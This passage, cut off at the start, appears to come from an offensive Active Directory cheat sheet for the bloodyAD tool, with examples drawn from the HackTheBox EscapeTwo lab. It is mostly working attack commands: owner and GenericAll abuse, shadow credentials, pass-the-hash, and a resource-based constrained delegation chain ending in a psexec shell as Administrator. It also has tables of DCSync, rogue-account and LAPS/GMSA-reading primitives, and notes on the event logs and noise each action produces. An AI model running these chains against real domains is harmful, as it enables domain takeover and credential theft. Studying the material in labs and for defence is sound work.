'WqSZAF6CysDQbGb3' set owner ca_svc ryan 782 ``` 783 784 **3. Grant full control:** 785 786 ```bash 787 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan 788 ``` 789 790 **4. Shadow-cred the NT hash:** 791 792 ```bash 793 certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb 794 ``` 795 796 **5. Verify:** 797 798 ```bash 799 netexec smb 10.10.11.51 -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce 800 ``` 801 802 ### GenericAll on DC → RBCD → DA 803 804 **1. Create a controlled computer:** 805 806 ```bash 807 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add computer ATTACKER '$Passw0rd123' 808 ``` 809 810 **2. Set RBCD on the DC:** 811 812 ```bash 813 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add rbcd 'DC01$' 'ATTACKER$' 814 ``` 815 816 **3. Impersonate Administrator:** 817 818 ```bash 819 getST.py -spn cifs/dc01.sequel.htb -impersonate Administrator sequel.htb/ATTACKER$:'$Passw0rd123' -dc-ip 10.10.11.51 820 ``` 821 822 **4. Shell:** 823 824 ```bash 825 KRB5CCNAME=Administrator@cifs_dc01.sequel.htb@SEQUEL.HTB.ccache psexec.py -k -no-pass sequel.htb/Administrator@dc01.sequel.htb 826 ``` 827 828 ## 14. Command Reference Tables 829 830 ### Verbs 831 832 | Verb | Purpose | 833 | :-- | :-- | 834 | `get` | Read AD | 835 | `set` | Modify attributes / owner / password / restore | 836 | `add` | Grant rights / create objects | 837 | `remove` | Undo any `add` | 838 | `msldap` | Low-level ADCS/DACL primitives | 839 840 ### add / remove subcommands 841 842 | Subcommand | Full example | 843 | :-- | :-- | 844 | `genericAll` | `add genericAll ca_svc ryan` | 845 | `groupMember` | `add groupMember 'Domain Admins' ryan` | 846 | `shadowCredentials` | `add shadowCredentials victim` | 847 | `dcsync` | `add dcsync ryan` | 848 | `rbcd` | `add rbcd 'DC01$' 'ATTACKER$'` | 849 | `uac` | `add uac victim -f DONT_REQ_PREAUTH` | 850 | `computer` | `add computer ATTACKER '$Passw0rd123'` | 851 | `user` | `add user eviluser 'Passw0rd123!'` | 852 | `dnsRecord` | `add dnsRecord host 10.10.14.6` | 853 | `badSuccessor` | `add badSuccessor evilmsa -t 'CN=Administrator,...'` | 854 855 ### set subcommands 856 857 | Subcommand | Full example | 858 | :-- | :-- | 859 | `password` | `set password victim 'Newpass123!'` | 860 | `owner` | `set owner ca_svc ryan` | 861 | `object` | `set object victim scriptPath -v '\\host\share\x.bat'` (omit `-v` to clear) | 862 | `restore` | `set restore old_admin` | 863 864 ### UAC flags (`-f`) 865 866 | Flag | Use | 867 | :-- | :-- | 868 | `DONT_REQ_PREAUTH` | AS-REP roasting | 869 | `TRUSTED_FOR_DELEGATION` | Unconstrained delegation | 870 | `TRUSTED_TO_AUTH_FOR_DELEGATION` | Constrained delegation (S4U) | 871 | `DONT_EXPIRE_PASSWD` | Password never expires | 872 | `ACCOUNTDISABLE` | Disable (`add`) / enable (`remove`) | 873 | `PASSWD_NOTREQD` | No password required | 874 875 ### High-value attributes 876 877 | Attribute | Meaning | 878 | :-- | :-- | 879 | `ms-Mcs-AdmPwd` | Legacy LAPS (plaintext) | 880 | `msLAPS-Password` | Windows LAPS (plaintext JSON) | 881 | `msLAPS-EncryptedPassword` | Windows LAPS (DPAPI-NG encrypted) | 882 | `msDS-ManagedPassword` | GMSA blob (`--raw`) | 883 | `msDS-AllowedToDelegateTo` | Constrained-delegation targets | 884 | `msDS-AllowedToActOnBehalfOfOtherIdentity` | RBCD trust | 885 | `msDS-KeyCredentialLink` | Shadow Credentials | 886 | `msDS-ManagedAccountPrecededByLink` | dMSA inheritance (BadSuccessor) | 887 | `altSecurityIdentities` | Explicit cert mapping (ESC14) | 888 | `servicePrincipalName` | SPNs (Kerberoast) | 889 | `scriptPath` | Logon script (GenericWrite) | 890 | `sAMAccountName` | Rename for noPac | 891 | `ms-DS-MachineAccountQuota` | Computers a user may create | 892 893 ## 15. OPSEC & Cleanup 894 895 > **Warning — Reverse every change.** Each `add`/`set` has a matching `remove`/restore. Clear planted SPNs, revert UAC flags, `remove dcsync`, `remove rbcd`, `remove shadowCredentials`, delete created computer/user objects, restore `sAMAccountName`/`scriptPath`, remove DNS records. 896 897 | Action | Log | Noise | 898 | :-- | :-- | :-- | 899 | DACL / owner change | 5136 / 4662 | Medium | 900 | Shadow-cred write | 5136 (`msDS-KeyCredentialLink`) | Medium | 901 | Password reset | 4724 / 4738 | High | 902 | `add dcsync` | 5136 on domain object | High | 903 | Group change | 4728 / 4729 | Medium | 904 | Computer creation | 4741 | Medium | 905 | sAMAccountName rename | 4662 / 4781 | High | 906 907 Use `-s` (LDAPS) where allowed so writes aren't in cleartext. 908 909 ## Sources 910 911 - BloodyAD Wiki: https://github.com/CravateRouge/bloodyAD/wiki/User-Guide 912 - Kali tool page: https://www.kali.org/tools/bloodyad/ 913 - 0xdf — HTB EscapeTwo: https://0xdf.gitlab.io/2025/05/24/htb-escapetwo.html 914 - HackTricks — LAPS: https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/laps.html